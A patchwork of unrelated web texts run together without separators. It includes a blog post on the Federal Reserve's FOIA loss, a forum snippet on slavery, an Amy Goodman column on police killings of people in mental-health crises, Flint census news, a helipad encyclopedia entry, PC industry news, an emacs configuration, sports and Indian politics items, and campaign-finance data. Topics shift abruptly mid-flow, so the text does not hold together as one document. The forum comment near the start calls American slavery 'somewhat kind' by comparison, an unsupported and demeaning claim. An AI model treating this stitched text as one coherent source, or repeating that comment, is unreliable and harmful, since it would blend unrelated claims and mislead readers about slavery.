The Federal Reserve must for the first time identify the companies in its emergency lending programs after losing a Freedom of Information Act lawsuit. Manhattan Chief U.S. District Judge Loretta Preska ruled against the central bank yesterday, rejecting the argument that loan records aren’t covered by the law because their disclosure would harm borrowers’ competitive positions. The Fed has refused to name the financial firms it lent to or disclose the amounts or the assets put up as collateral under 11 programs, most put in place during the deepest financial crisis since the Great Depression, saying that doing so might set off a run by depositors and unsettle shareholders. Bloomberg LP, the New York-based company majority-owned by Mayor Michael Bloomberg, sued on Nov. 7 on behalf of its Bloomberg News unit.
The Federal Reserve has to identify the companies to whom it gave the $1.5 trillion dollars and it has to list the assets used as collateral for the so-called "loans."
The Federal Reserve says that this might "unsettle shareholders."
OH MY GOD NO, NOT THE SHAREHOLDERS, NOT OUR PRECIOOUSSS SHAREHOLDERS!
Apparently, that is the standard these days.
And since when has the government felt obligated to protect the share prices of certain private businesses over others? Is that role in the Constitution somewhere?
Anyway, an industry group representing the biggest and most powerful banks on the globe, including British, French, Dutch and German as well as American banks, have issued a warning about the disclosure:
If you tell who got the $1.5 tril, you're gonna destroy the world financial system.
The secret is just that big.
(Note that I'm linking to Zero Hedge here, not because I endorse the editorial theme of the blog at all, but because they are the only place I could find that carries the original document in toto.)
The world might "get destroyed."
But we've also got to have access to this information.
For the simple reason that, if we don't, we're going to see a repeat of this in a couple of years with even bigger numbers, bigger handouts from the Fed and the Treasury, bigger payouts to Wall St. executives and other insiders ...
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kobun said:
Pirating_Ninja said:
I think the black slaves in the Caribbean would disagree, seeing as how their life expectancy was half that of the slaves in America, primarily due to exhaustion and poor living conditions. This may seem rude, but American Slavery was actually somewhat kind to other instances of slavery. This primarily was due to the fact that slaves were extremely expensive, and the profit margins off of tobacco / rice, and later cotton were nowhere near that of Sugar Cane.
Reminds me of this.
Reminds me of this.
Elsa Cruz filed a federal lawsuit in New York this week, months after police shot her husband dead. Last May, Cruz called 911 asking for help with her husband, Samuel. She feared he hadn’t taken his medication while she was on vacation in her native country, the Philippines. Eight months, almost to the day, before Cruz was killed, not far away in Harlem, Hawa Bah called 911 to ask for medical help for her son, Mohamed. Rather than getting medical help, Mohamed Bah was confronted by the New York City Police Department. Within hours, he, too, was shot dead by police, hit eight times, once in the head. Mohamed’s sister, Oumou Bah, is suing the City of New York and unnamed police officers. While neither lawsuit will bring back the dead, they may prevent future deaths by forcing the New Rochelle Police Department and the NYPD to adopt an increasingly mainstream police practice for dealing with emotionally distressed people, called “The Memphis Model.”
In an exclusive interview Tuesday on the “Democracy Now!” news hour, I had the chance to interview Hawa Bah and Elsa Cruz. They were meeting each other in our studios for the first time.
Hawa Bah made annual visits to New York from the West African nation of Guinea to see her son, Mohamed. On her most recent visit, she was struck by Mohamed’s deteriorating condition. He had lost weight and had a cut above his eye. He was acting erratically. She suspected he was depressed, and wanted him to go to the hospital. Unable to convince him to go, she sought advice from friends, who suggested she call 911. She told me, “When I saw the police car, I see him, I say, ‘Hey, I don’t call police. I call an ambulance.’ He say, ‘No, ma’am, don’t worry. In New York here, when you call an ambulance, we will come first. We will look at the person and call an ambulance.’ He said, ‘Don’t worry, he will be OK.’”
The NYPD never told Mohamed Bah that they were there at his mother’s request. Hawa Bah told me, “He didn’t tell Mohamed, ‘Your mom say go to the hospital.’ He just say, ‘Mohamed, open the door. I came for you.’” She begged the police to let her talk to her son. Her attorney Randolph McLaughlin explained what happened next: “They broke the door down, tasered, beanbagged and shot him eight times. The last bullet went into his head and had stippling around the entry wound, which says that that shot, which probably took his life, was at close range.”
On May 26, Samuel Cruz, like Mohamed Bah, was acting erratically. Elsa called 911. She recounted to me what she told the operator: “There’s something wrong with my husband. He needs help. Can you please send us somebody to help me to assisting him to go to the hospital?” She said, “Your husband is harming anybody?” And I said, “No, ma’am, no. He’s a very nice person. He never harm anybody. Could you please send us somebody, or whatever?” And then, “OK.” The New Rochelle police arrived, dressed, as Elsa recalls, “for war.” They forced their way into the apartment and shot her husband dead.
Both the NYPD, in Bah’s case, and the New Rochelle police, in Cruz’s case, claim that the distressed individual lunged at officers with a knife. As Bah and Cruz’s other attorney, Mayo Bartlett, noted: “The thing that’s striking in these cases is the fact that the police are not called in response to a crime. There’s no rush. There’s no need to take such immediate action.”
This is where “The Memphis Model” comes in. Maj. Sam Cochran is a retired officer with the Memphis, Tenn., police. In 1987, police responded to a man who was harming himself, and threatening others, with a knife. The police killed the man. Community outcry prompted the mayor to call for a solution. They developed the Crisis Intervention Team. Sam Cochran explained to me, “It’s a community program [with] three main partnerships: law enforcement, local mental-health services providers and also advocacy.” CITs put a trained officer or mental-health professional on the scene, to de-escalate a situation. Since its inception in Memphis, it has been adopted in more than 2,500 communities in 40 states, as well as internationally.
The Cruz and Bah families are suing, demanding that the New Rochelle Police Department and the NYPD adopt CIT policies. As attorney Randolph McLaughlin summarized: “The police say the exact same thing in Bah and in Cruz: ‘He came at us with a knife, and we killed him.’ … What was their plan? Did they have a plan when they broke in the door? Why did they break in the door? Why didn’t they slow things down? Why did they aggravate the situation? In fact, the officers in all of these cases have not been trained in crisis intervention. They’ve been trained in the use of force—deadly force. And if that’s all the officer has at his disposal, he will use it.”
Amy Goodman is the host of “Democracy Now!,” a daily international TV/radio news hour airing on more than 1,000 stations in North America. She is the co-author of “The Silenced Majority,” a New York Times best-seller.
© 2013 Amy Goodman
Architectural structures such as the Flint Vehicle City arches remain from Flint's heyday when the population of the city was nearly 200,000 people even though in 2013 the population dipped below 100,000 for the first time since the 1920's. Flint's population is estimated to be about 99,763 on Wednesday, May 21, 2014 in downtown Flint. Katie McLean | MLive.com
(Katie McLean)
FLINT, MI -- Flint's population has dropped below 100,000 for the first time since the 1920s, according to a new Census estimate issued Thursday, May 22.
The Census Bureau report says Flint's estimated population dropped from 100,412 in 2012 to 99,763 in 2013, continuing a trend of population loss decades in the making.
The city's population peaked at nearly 200,000 as recently as the 1960s, fueled by tens of thousands of General Motors jobs.
Flint City Council President Scott Kincaid said the drop below 100,000 will have a big impact on the Flint community in a negative way.
"Since the last census, it doesn't surprise me that we're under 100,000. I've been kind of looking at the revenue of the city of Flint. When you look at the revenue that kind of reflects that. We're losing population, especially younger people. They can't afford to live in the city with water and sewer rates," Kincaid said. "I think our trend in the city will continue down probably for another four or five years."
With a population of less than 100,000, fewer funds will come into the community through state and federal sources, Kincaid said.
Dollars coming into the city from federal Community Development Block Grants will be less and the city will receive less through state revenue sharing, Kincaid said.
"Our block grant dollars will be treated like other small cities and townships. (Being under 100,000) will substantially reduce our federal funding," he said.
And it makes sense that the dropping population affects the state of the city, Kincaid said. Flint, which used to be at 180,000 residents, now has about 80,000 fewer people. But the streets, houses and infrastructures are still there for 180,000, Kincaid said.
"It will just have a negative impact as far as revenue for the city of Flint. I don't see an uptick for the next four or five years," Kincaid said.
Flint Mayor Dayne Walling, who has said the fall below 100,000 was expected, said Thursday that the 100,000 population benchmark doesn't reflect a community's worth.
"The quality of life in any community is not determined by its population size," Walling said. "You can see that all across Michigan.
"It's going to take a couple additional years of planning and development to stabilize Flint's population."
City officials have acknowledged that Flint's population is likely to continue to decline further before stabilizing by 2020.
A new master plan is based on the assumption that the city's population will be 76,000 to 150,000 in the long term, and Chief Planner Megan Hunter has projected the loss of 20,000 people from 2010 to 2020.
According to Kevin Doyle, an economic analyst at the bureau of labor market information and strategic initiatives, Flint still is the seventh-largest city in the state.
Flint's 0.6 percent population decrease falls in the middle when it came to population change across the state. The largest increase in the state was Grand Haven, which grew 2.5 percent, while Detroit was the city with the biggest loss, at 1.4 percent.
"The change wasn't relatively large when you are looking at the cities in the state as a whole," said Doyle.
Last year, a report from Genesee County planners estimated Flint's population will continue to sink for the foreseeable future, dropping to a projected 67,133 by 2040.
Mundy Township is expected to grow at the highest rate of any community in the county -- 30.8 percent by 2040, followed by the village of Goodrich -- up 28.8 percent, and Fenton Township -- up 22.3 percent.
Helipad area scheme
A helipad is a landing area or platform for helicopters and powered lift aircraft.
While helicopters and powered lift aircraft are able to operate on a variety of relatively flat surfaces, a fabricated helipad provides a clearly marked hard surface away from obstacles where such aircraft can land safely.
Larger helipads, intended for use by helicopters and other vertical take-off and landing aircraft, may be called vertiports. An example is Vertiport Chicago,[1] which opened in 2015.[2]
Usage [ edit ]
There is a helipad in the back of this U.S. Navy Strategic Sealift Ship
Helipads may be located at a heliport or airport where fuel, air traffic control and service facilities for aircraft are available.
Most helipads are located remote from populated areas due to sounds, winds, space and cost constraints, however, some skyscrapers maintain a helipad on their roofs in order to accommodate air taxi services. Some basic helipads are built on highrise buildings for evacuation in case of a major fire outbreak. Major police departments may use a dedicated helipad at heliports as a base for police helicopters.
Large ships and oil platforms usually have a helipad on board for emergency use. In such a case, the term "helideck" or "helodeck" has been widely used in the meaning of a helipad on board.
Helipads are common features at hospitals where they serve to facilitate medical evacuation or air ambulance transfers of patients to trauma centers or to accept patients from remote areas without local hospitals or facilities capable of providing the level of emergency medicine required. In urban environments, these heliports are typically located on the roof of the hospital.
Rooftop helipads sometimes display a large two-digit number, representing the weight limit (in thousands of pounds) of the pad. In addition, a second number may be present, representing the maximum rotor diameter in feet.[3]
Location identifiers are often, but not always, issued for helipads. They may be issued by the appropriate aviation authority. Authorized agencies include the Federal Aviation Administration in the United States, Transport Canada in Canada, the International Civil Aviation Organization, and the International Air Transport Association. Some helipads may have location identifiers from multiple sources, and these identifiers may be of different format and name.
Construction [ edit ]
Helipads are usually constructed out of concrete and are marked with a circle and/or a letter "H", so as to be visible from the air. However, they are not always constructed out of concrete; sometimes wildfire fighters will construct a temporary helipad out of timbers to receive supplies in remote areas. Rig mats may be used to build helipads. Landing pads may also be constructed in extreme conditions such as on ice.
The world's highest helipad,[4] built by India, is located on the Siachen Glacier at a height of 21,000 feet (6400 m) above sea level.[5]
The world's largest heliport is in Morgan City, Louisiana, and has a total of 46 helipads, used mostly to support offshore oil platforms in the Gulf of Mexico.
Portable helipads [ edit ]
A portable helipad is a helipad structure with a rugged frame that can be used to land helicopters in any areas with slopes of up to 30 degrees, such as hillsides, riverbeds and boggy areas. Portable helipads can be transported by helicopter or powered-lift to place them where a VTOL needs to land, as long as there are no insurmountable obstructions nearby.
Portable Helipad At Bhopal M.P. India
Gallery [ edit ]
See also [ edit ]
References [ edit ]
Joining Qualcomm on the stage for the announcement were the key partners (from left to right):
Jerry Shen, ASUS CEO: Announcing the ASUS NovaGo
Kevin Lensing, CVP and GM of Client at AMD: Announcing Ryzen Mobile partnership
Cristiano Amon, EVP Qualcomm Technologies
Terry Myerson, EVP of Microsoft Windows and Devices: Announcing Windows 10 on ARM
Gunther Ottendorfer, COO of Sprint: Reinforcing Connectivity Partnership
Kevin Front, VP and GP of Consumer Systems HP: Announcing HP Envy x2
Cristiano Amon, executive vice president of Qualcomm Technologies and president of QCT, was joined on stage by senior executives from Microsoft, Asus, Sprint, HP and AMD announcing the new class of Always Connected PC, at Qualcomm’s second annual Technology Summit Tuesday, Dec. 5, 2017 in Maui, HI. Photo Source: Qualcomm Technologies, Inc.​
Now creating a new product category that is successful is difficult. How many attempts at a tablet were there before the market warmed to them, for example. Or consider how many smart watches have come and gone since the inception. As bright as all the semblance of new technology is, the major incumbent in the notebook PC space also had something today.
Intel Responds
In a nutshell, Intel’s response was:
[Intel] has been powering always-connected PCs since their inception. Today, there are more than 30 business- and consumer-oriented Intel-based always-connected PCs available, offering the leading performance, a variety of connectivity options and price points, long battery life and thin and light form factor design.
The response is basically a ‘we’ve had always-connected PCs for years’. This is true: while normally focused on the business use case, laptops with LTE connectivity do exist from most of the major OEMs. This usually comes in the form of an add-in card and a business contract situation, although I personally have owned a number of laptops that do offer SIM card slots for this sort of functionality.
Intel is citing designs such as the HP ProBook 400 Series, Samsung’s Galaxy Book 12, the Lenovo ThinkPad L470, the Lenovo Miix 520, the Google Pixelbook, and the Mi Notebook Air, with more designs coming in 2018. Intel is also citing that it has modems in future devices capable of Gigabit LTE as well, along with its investments into 5G. Intel also cites that it has full compatibility with Windows and 64-bit software.
From Lenovo's Miix 520 website
So is what Qualcomm is doing new? Will it succeed? Truth be told, they are reinvigorating interest in this type of device, regardless of if it has already been around, and pushing it for other use cases. Intel has often pushed its devices for new use cases over the years, but this time it is a new silicon manufacturer playing the game in a slightly different way. The devices that come out, be it with a Qualcomm SoC or an Intel CPU with extra modem, are both going to have positives and drawbacks – Qualcomm is touting all-day battery life and instant screen-on without sleeping, while Intel goes for performance and compatibility.
Shots fired? The annual CES event in Las Vegas is happening in early January. I expect Qualcomm, Intel, and all the OEMs to be screaming about ‘Always Connected PCs’. It’s a fun time to be a consumer.
Please enjoy this 1912 advertisement that was published in the American Journal of Surgery.
An Electric for her very own – what more enjoyable surprise could your wife receive on Christmas morning? Every woman longs to own an Electric. Every woman knows the comfort, convenience and heightened social prestige it gives. Why not make this year the happiest Christmas?
Your wife would love to drive about in her own Electric – quiet, fashionable, simple and safe. She can pay her social calls; do her shopping; attend the theatre and receptions. You will enjoy the luxury and convenience of it, too, in paying your professional calls.
And Christmas is the season of seasons for an Electric. The cold, biting winds and snow flurries make you feel all the cosier within an Electric. There is such exhilarating pleasure in gliding noiselessly down the boulevard, through the park, threading in and out of congested traffic – quickly, easily, without bother or effort.
Driving an Electric is simplicity itself – no trouble whatever. Any woman – even a child – can operate an Electric efficiently. The first cost of an Electric is decidedly moderate when you consider its lasting, satisfactory service. Maintenance expense and cost of power is far lower than that for other types of cars.
Before you buy any car – consider the Electric.
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Spy Blog: Metropolitan Police terrorism fear Propaganda Poster lies about bombs, reconnaissance and CCTV cameras - updated 25th March 2009
This campaign includes this false and misleading poster, which claims a non existent link between public CCTV and protection against terrorist bombs: "A bomb won't go off here because weeks before a shopper reported someone studying the CCTV cameras"
In answer to a Question by Baroness Neville-Jones (Shadow Security Minister, Home Affairs; Conservative):
9 July 2009 : Column WA176 Lord West of Spithead (Parliamentary Under-Secretary (Security and Counter-terrorism), Home Office; Labour) The confidential anti-terrorist hotline is administered by the Metropolitan Police Service. The hotline receives, on average, 243 calls per month. In March 2009, the Association of Chief Police Officers (ACPO) launched a national media campaign to raise counterterrorism awareness. The anti-terrorist hotline received more than 1,800 calls in March 2009 and more than 1,100 in April 2009. The anti-terrorist hotline is a 24-hour facility for members of the public to volunteer information to specially-trained police officers, in confidence, regarding any activity which they suspect to be terrorism-related. The police service considers the anti-terrorist hotline to be a valuable means for the public to volunteer information in confidence. It is assessed that more than 80 per cent of calls received by the hotline contain information relevant to terrorist activity. It is estimated that the anti-terrorist hotline costs approximately £120,000 to run each year. [...]
Incredibly, this Written Answer about the "Anti-Terrorism Hotline", does not bother to mention the actual telephone number ! i.e. 0800 789 321
"on average, 243 calls per month" equates to about 2900 calls a year or about £40 per call.
The "more than 1,800 calls in March 2009 and more than 1,100 in April 2009" following the ACPO poster, local press and local radio advertising campaign, has, presumably, now tailed off to below the "on average, 243 calls per month" figure, which must include the effect of the advertising campaign stimulated peaks.
If you bother to hunt around on the Metropolitan Police Service website, there is a "If you suspect it, report it" web page which gives further details about the "Anti-Terrorist Hotline", but none of the Climate of Fear propaganda posters or adverts bother to give details of how to find this web page.
This creepy and disproportionate web page tries to throw suspicion of involvement in terrorism on anyone who uses a "Van, Passport, Mobile Phone, Camera, Chemicals, Masks and Goggles, Credit Card, Computer, Suitcase or Padlock" i.e. the vast majority of millions of innocent people !
There is now, after many years without one, a confidential online form, which does make use of the standard SSL / TLS session strong encryption, built in to your web browser software to protect the confidentiality of your e-commerce credit card etc.online transactions.
N.B. Reminder to the MPS: your Digital Certificate expires later this month on the 24th July 2009, do remember to get a new one ordered and installed before then.
However, "text messages from mobiles are not accepted", which is an utterly stupid policy. What are they worried about ? SMS text messages are no more difficult to trace than mobile phone calls.
There is also no no Web Form or Mobile Phone Multi Media Message Service facility for uploading digital images or video clips taken by members of the public on their digital cameras or mobile phone cameras of "suspicious" people, locations or objects.
It is inconceivable that in the aftermath of the next major terrorist attack in the UK, there will not be an appeal to the public to send in such digital images and video clips of "anything suspicious".
Why waste crucial time in the minutes and hours immediately after such an attack, by hurriedly setting up an untested web upload form or an SMS / MMS capable mobile phone number, and then trying to publicise it. ?
This facility should already be in place, after having been properly specified and stress tested to cope with the huge surge in demand which will follow a major incident.
Adding such a secure web form and SMS/ MMS digital image / video clip upload facility would cost only a few hundred pounds, and even allowing for several thousand pounds for extra secure, resilient infrastructure, testing and training, this will still only cost a fraction of the the £1.7 million pounds wasted on the counter productive, insulting and widely ridiculed advertising campaign.
See BoingBoing: Remixes of the paranoid London police "anti-terror"/suspect your neighbours posters.
In the recent updates, we have got the Cortana integration with playlists, audio scrubbing, better sync across local, cloud content, and more. Bumping up the version number to 2.5.3929.0, the following are the new additions to the app:
Change tracks by swiping album art on the Now Playing screen.
The interface has gone through some positional changes. The position and layout changes make more room for content.
As always, there are bug fixes.
You ask, we (try to) deliver! New Music for WP8.1 now includes swipe (up/down) for next/prev track. Not the same… but good substitute! — joebelfiore (@joebelfiore) May 24, 2014
That’s not a lot of changes – we know. Microsoft has also announced the improvements that we can expect in future updates:
Continued focus on stability and performance improvements.
Initial sync of local and cloud content happens in the background.
Support for more than 100 songs in the Now Playing queue.
Faster loading of longer lists.
Transparent Tile support.
Live Tile support.
Kid’s Corner support.
General UX improvements.
Snag the updated version of the app from the download link below. And let us know how you like it.
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By Rachel Cromidas in News on Jul 25, 2017 5:47PM
A man who took an Uber ride in Chicago earlier this month says his driver received oral sex during his ride from a woman who was sitting in the front seat. The man, a Boston resident who was visiting Chicago, complained to Uber and later shared a video of the ride on Facebook that has since gone viral.
The passenger, Aner Manuel, told Esquire magazine that he had caught the ride on July 17 around 2:43 a.m. after an evening out in Wrigleyville. He was confused when he saw that there was a woman sitting in the front seat of the Uber (he had not called a shared Uber Pool-type ride) but that he got in the car anyway. That's when things got weirder: the woman in the front seat seemed to be "clearly on drugs," and Manuel began recording what was happening on his cell phone as the driver and his companion began kissing. Then, as the Facebook video shows, the woman appears to begin performing oral sex on the driver as he continues to drive the car. That's when Manuel asked the driver to pull over and let him out, about eight minutes into the ride.
Uber representatives reportedly offered Manuel a $10 ride credit and said they would investigate what happened. Chicagoist has reached out to both Manuel and Uber, and will update the post if we hear back. An Uber rep told Esquire and Chicagoist that the driver's access to the app has been removed, and "the behavior of this former driver is appalling and is not tolerated on the Uber app."
"As soon as this situation was reported to us, we immediately removed this driver's access."
Manuel described the drive as "the most dangerous and inappropriate Uber ride ever" in his Facebook post complaining to Uber's page.
As I approached my uber, I noticed there was a passenger in the front seat. I double checked to make sure I didn't select UberPool, and then approached the car. I assumed it may have been a family member of some sort. As we pulled off the female in the front (who was clearly on drugs) attempted to open the door and could not even sit straight as the vehicle was in motion. She then began to grope him and grab him. They began to kiss and she began loosening his belt. As we got further and further from my pickup location I had no idea where I was, so I had to stay in the car. She then proceeded to perform oral sex. This was my last straw. I asked the driver to drop me off. Since I've contacted uber and they refunded me for trip and gave me a "$10 credit". They've seen this video and are still "investigating". They have been extremely bad at answering any messages I've sent, and I demand something gets done. This is not okay!
The Study: Reddy, S.M.W., A. Wentz, O. Aburto-Oropeza, M. Maxey, S. Nagavarapu, and H.M. Leslie. 2013. Evidence of market-driven size-selective fishing and the mediating effects of biological and institutional factors. Ecological Applications 23:726–741.
The Question: Market demand is generally viewed as a negative for the environment — what the consumer wants, the consumer gets, regardless of the impact on natural resources. Just look at how any number of resources have diminished over decades of increasing demand, whether renewable (forests, fish) or non-renewable (oil, minerals).
But can market demand — with a little help from local fishing practices or regulation — give people what they want and have natural resources actually get healthier in the process? That was what researchers found in La Paz, Mexico, where consumer demand for plate-sized Pacific red snapper is transforming a fishery.
Study Nuts and Bolts: In La Paz, increased tourism and local incomes has created a high demand for plate-sized, or medium, fish at restaurants, which has driven the market price for those fish up as much as 13% higher than for other sized fish (see chart below).
The researchers hypothesized that this increased demand for plate-sized fish could actually improve both fish stocks and fishermen’s incomes by shifting fishing pressure away from small and large fish. Small fish are needed to grow up and reproduce, while large fish produce a disproportionate number of offspring for their size. Medium-sized fish may be just right for fishing. To test this, they used daily records of catch from fishermen and information about market prices and then estimated the impact of four different harvest scenarios on both fish stocks and revenues.
What They Found: Market prices did shift fishing pressure to different sizes of fish: The researchers found a 6% increase in the supply of medium, or plate-sized, fish in the fishery and a 4% decrease in numbers of large fish. This market-driven harvest increased fishermen’s revenues by 14%, but decreased total fish biomass by -3% — making it unsustainable in the long term. Even though fewer medium-sized fish were being harvested, it was not enough to benefit the fish population.
However, by investigating another modeling scenario, the researchers found that encouraging a 5% increase in fishing for plate-sized fish over natural market demand, while proportionally decreasing the amount of small and large fish that could be caught, would result in an increase in fish biomass by 28% and fishermen’s revenues by 22%. Some fishing cooperatives in the area already encourage this sort of selectivity and government regulations could also be used to complement these efforts. The researchers recommend piloting this approach in the La Paz Pacific red snapper fishery.
What Does It All Mean? Catch of red snapper in La Paz has increased 100-fold since the 1950s, and plate-sized red snapper is the preferred fish at restaurants and hotels in La Paz’s tourist zone. A sustainable approach to fishing is needed to prevent fishery collapse as has happened in other areas, such as New England cod fisheries.
The novel approach developed by the researchers — integrating natural market forces with institutional regulations — could result in a sustainably managed red snapper fishery in La Paz, and be a model for other fisheries or resource areas.
“Most studies of how market forces impact the environment focus on reducing consumption — it’s rarely been shown that economic growth can be positive for both nature and people,” explains lead author Sheila Walsh Reddy, a sustainability economist with The Nature Conservancy. “This study shows that natural market demand can be a force for good, if necessary institutional conditions are present.”
The man's identity was not released, but the 20-year-old was apparently sleeping in the buff when he spotted the spider Tuesday morning in his bed, Mike Judge, the police chief, said. He apparently ran through a glass storm door during his escape, cutting his arms, legs and a finger. He was treated at a hospital.
Authorities fielded numerous reports of a bloody streaker and later found the man back at his home, where he'd donned some shorts.
It isn't clear what kind of spider he encountered.
The sheriff doesn't suspect drugs or alcohol were involved.
I’ve mentioned some of these modifications before.
I always always use ido and uniquify. Ido makes it so nice for finding files and switching buffers, I now find the default behaviour surprising and sometimes even catch myself waiting for the options to appear.
( require ' ido ) ( require ' uniquify )
flex-matching is a given of course, and I don’t like being prompted unnecessarily for new buffers – I’m always creating them.
(ido-mode t) (setq ido-enable-flex-matching t) (setq ido-create-new-buffer 'always)
The way emacs deals with identically named files by default is poor, but it is great that it is so easy to fix.
(setq uniquify-buffer-name-style 'reverse) (setq uniquify-separator "|" ) (setq uniquify-after-kill-buffer-p t) (setq uniquify-ignore-buffers-re "^\\*" )
Since emacs23, fonts now look great. This is from my windows config. Other folks have written about beautifying emacs for other OSes. I summarised those posts here.
(set-default-font "-outline-Consolas-normal-r-normal-normal-14-97-96-96-c-*-iso8859-1" )
It should be obvious what most of these do. The most important ones are setting yes-or-no-p to accept y or n rather than forcing me to type yes<RETURN> and removing the toolbar. Actually no, scratch that, these are all important. (Emacs23 has some of these set by default).
(global-font-lock-mode 1) (setq inhibit-splash-screen t) (setq font-lock-maximum-decoration 3) (setq use-file-dialog nil) (setq use-dialog-box nil) (fset 'yes-or-no-p 'y-or-n-p) (tool-bar-mode -1) (show-paren-mode 1) (transient-mark-mode t) (setq case-fold-search t) (blink-cursor-mode 0)
It took me ages to figure out how to prevent emacs converting a bunch of spaces into tabs. And of course, the scrollbar should always be on the right.
(custom-set-variables '(scroll-bar-mode 'right) '(indent-tabs-mode nil))
Where am I?
(line-number-mode 1) (column-number-mode 1)
Keep emacs backup files in one place. This is from my windows config again.
(push '( "." . "c:/home/jared/.emacs-backups" ) backup-directory-alist)
And make it so that when I copy a region, that gets sent to the OS clipboard.
Up first is Lone Star Lacquer Crackling Fire, a brick red filled with itty bitty sparkles that catch the light. I used three coats for this swatch and the polish applied easily.
*press samples
Lone Star Lacquer
Friday over Washington is acceptable. Taking it farther is where Van Gundy draws the line. Drummond is well-liked by his teammates, and vice versa, and any attempt to extrapolate the 22-year-old center's actions Friday into something bigger does not come from anyone close to the team. "I'm sure that getting the criticism he got in the newspapers and things like that, I'm sure it does help him to understand that he's being watched at all times and part of his responsibility as a cornerstone guy in the franchise is to lead and set an example and everything else," Van Gundy said. "So I do think it's a good learning experience. "But I think the criticism is -- look, I think commenting on it is fine. But to really get deep into that it reveals some flaw in his character or something I think would be going way too far." Drummond was back at practice Monday with a "lot of energy" after the Pistons had the weekend off, their first two-day respite of the season, excluding the All-Star break. Van Gundy said he viewed Drummond's detached reaction to the end of the Wizards win as nothing more than frustration and said it "has nothing to do with what a guy is, and how unselfish he is, and what kind of teammate." Drummond went to the bench with 8:51 left and the Pistons leading by two points because of his free-throw problems and the Wizards hitting the five-foul limit early in the fourth quarter. Drummond did not return and the Pistons won 112-99. He spent much of the remainder of the game sitting on the bench alone while teammates and fans stood. Other bench players tried to coax him into the celebration before Van Gundy himself walked to the end of the bench in the final seconds, slapped Drummond's chest and pulled him up to join his teammates. "When he got time to gather himself, by the time we hit the locker room after the game, he was fine," Van Gundy said. "He was happy -- happy for his teammates and everything else. But in the minute, he's a competitive guy coming out of a playoff-clinching game with eight minutes to go in the fourth quarter. Well of course he's upset. I'd wonder about him more if he wasn't upset. "It took him a little longer maybe to recover and get back into the game with his teammates than we would like. But in the course of things, that's pretty minor. He's a guy committed to his teammates, he's a great team guy, he's happy as hell about the playoffs. It's just, you know, there's frustration in the moment."
The Telegraph's front page reports today that drivers are being "punished for going green". The story seems to be generating a bit of traction, so it's worth asking whether the claim is actually true.
First, a bit of background. Until a few years ago, road tax – or vehicle excise duty (VED) – was based on engine size. Sensibly, the system was changed in 2005 to tie the banding to CO2 emissions – a much better measure of pollution than engine size. The rules were revised in 2009 to introduce more bands.
The system is designed to incentivise people to choose more fuel-efficient cars. Today, a tax disc ranges from free for the greenest vehicles to £475 for the most prolifgate gas guzzlers. People buying new inefficient cars also face a one-off levy for the first year. This is sensible because the people who buy new vehicles ultimately determine which cars are on the road, even though most vehicle purchases are for secondhand models.
The core of the Telegraph story is that "government officials have begun private discussions with the motoring industry and drivers' groups about an overhaul of the VED rules." The overhaul is expected to see bands tighten up, raising the prospect – according to a Labour source – of a "stealth tax" against those who bought greener cars and may now have to pay more for a tax disc.
For a start, this isn't exactly surprising news. This year's budget included a specific promise to considering overhauling the system:
The Government will consider whether to reform VED over the medium term to ensure that all motorists continue to make a fair contribution to the sustainability of the public finances, and to reflect continuing improvements in vehicle fuel efficiency.
And things haven't exactly moved on very far since then. A spokesman for the Treasury said the current conversations were informal and exploratory: "The Budget pledged to seek the views of motoring groups on Vehicle Excise Duty. There are no proposals on the table and we will be listening to motoring groups."
More fundamentally, though, this is surely an example of a green tax working, not being broken. The Office for Budgetary Responsibility predicts (see p.610) that income from VED will remain almost perfectly flat – at £5.8 billion – over the next five years. Assuming the same number of cars will remain on the road, it follows then that the average bill will remain the same. So if any future changes "will lead to higher tax rates on some motorists", as the story suggests, the corollary is that others will pay less. And if the bands need revising, that must be because people are buying greener cars, the technology is moving on and the bar will gradually need to rise to reflect that.
"This is a shameful statement by the Congress. They apologised for their deeds in 1984 anti-sikh riots and now they are creating a baseless controversy. The truth is only those people who have committed mistakes apologise, but those who have not done anything wrong why they will serve an apology," BJP leader Bizay Sonkar Shastri told ANI here.
Another BJP leader S Prakash, in Bengaluru, said instead of focusing their attention on development, the Congress was trying to evoke Gujarat riots to win over the Muslim votes.
"The Congress has once again brought the 2002 riots into the campaign. Till now, they were silent on the issue. They are demanding an illogical apology from the Prime Minister. It was a communal riot where both Hindus and Muslims were killed which happened in the aftermath of Godhra incident."
"Several cases have been filed and many have been convicted also, unlike in 1984 riots, where the Congress did not show any interest to convict those who were involved in the Sikh massacre," Prakash added.
Earlier on Sunday, BJP chief Amit Shah tore into Congress` demand, saying the matter was being raised to consolidate votes in the ongoing Gujarat Assembly election.
"Congress` Charan Singh said Prime Minister Modi must go inside Jama Masjid and apologies for 2002 riots. Entire nation knows the allegations levelled on the Prime Minster by the Congress backed NGO were all false. Yet for vote bank consolidation, 2002 is being raised in 2017," Shah told the media in Gandhinagar.
With Marco Rubio out of the race, Ted Cruz is now the presidential candidate relying the most on large donors, according to the Stigler Center’s latest analysis of the candidates’ fundraising records.
Last month, the Stigler Center launched its Campaign Financing Capture Index, a new project that tracks the attempts of large political contributors to affect public policy, by focusing on the fraction of total funds raised from large donors. The index analyzes the distribution of political contributions to presidential candidates and takes into account individual contributions, as well as contributions made to the JFCs, PACs and super PACs that support each candidate.
The idea behind the index is that large political contributions represent more than mere expression of political preference. More likely, they are aimed at altering policy in favor of the donor’s interest than promoting the public interest. This problem becomes particularly severe when the percentage of funds raised by large donors is significant. The more concentrated the sources of funding to political campaigns, the higher the risk of politicians’ dependence on special interest groups.
According to the latest data, 52.5 percent of the $115 million raised by the Cruz campaign and by PACs and Super PACs backing his candidacy came from donations above $5,000. 39.9 percent of the donations Cruz received came from contributors who gave more than $100,000.
Overall, the analysis reveals that three of the remaining five presidential hopefuls–Ted Cruz, John Kasich, and Hillary Clinton– have received 30 percent or more of their contributions from large donors contributing more than $100,000. 46.8 percent of the donations supporting Kasich’s candidacy came from donors contributing over $5,000, as did 37.2 percent of the donations supporting Clinton. Nearly a third of the contributions Clinton received, according to the data, were over $100,000.
In February, Marco Rubio, who dropped out of the race last week, remained the candidate with the largest concentration of large donors. Recent filings reveal the extent to which large donors poured money into Super PACs backing Rubio’s failed presidential campaign prior to his defeat in Florida. As of February 29, Rubio received donations totaling $103 million (including PACs and Super PACs). 62.9 percent of those funds had been donations over $5,000. Nearly 52 percent came from donors contributing over $100,000.
During his candidacy, Rubio received the endorsements and financial backing of many billionaires and multimillionaires. Recent filings show that as his chances of beating Donald Trump became slimmer, Rubio’s large donors increased their spending in order to help his last-ditch effort. One Super PAC backing Rubio, Conservative Solutions, raised $25 million in February alone, thanks to seven-figure contributions from Oracle Chairman Larry Ellison, the hedge fund manager Paul Singer, and Missouri businessman David Humphreys.
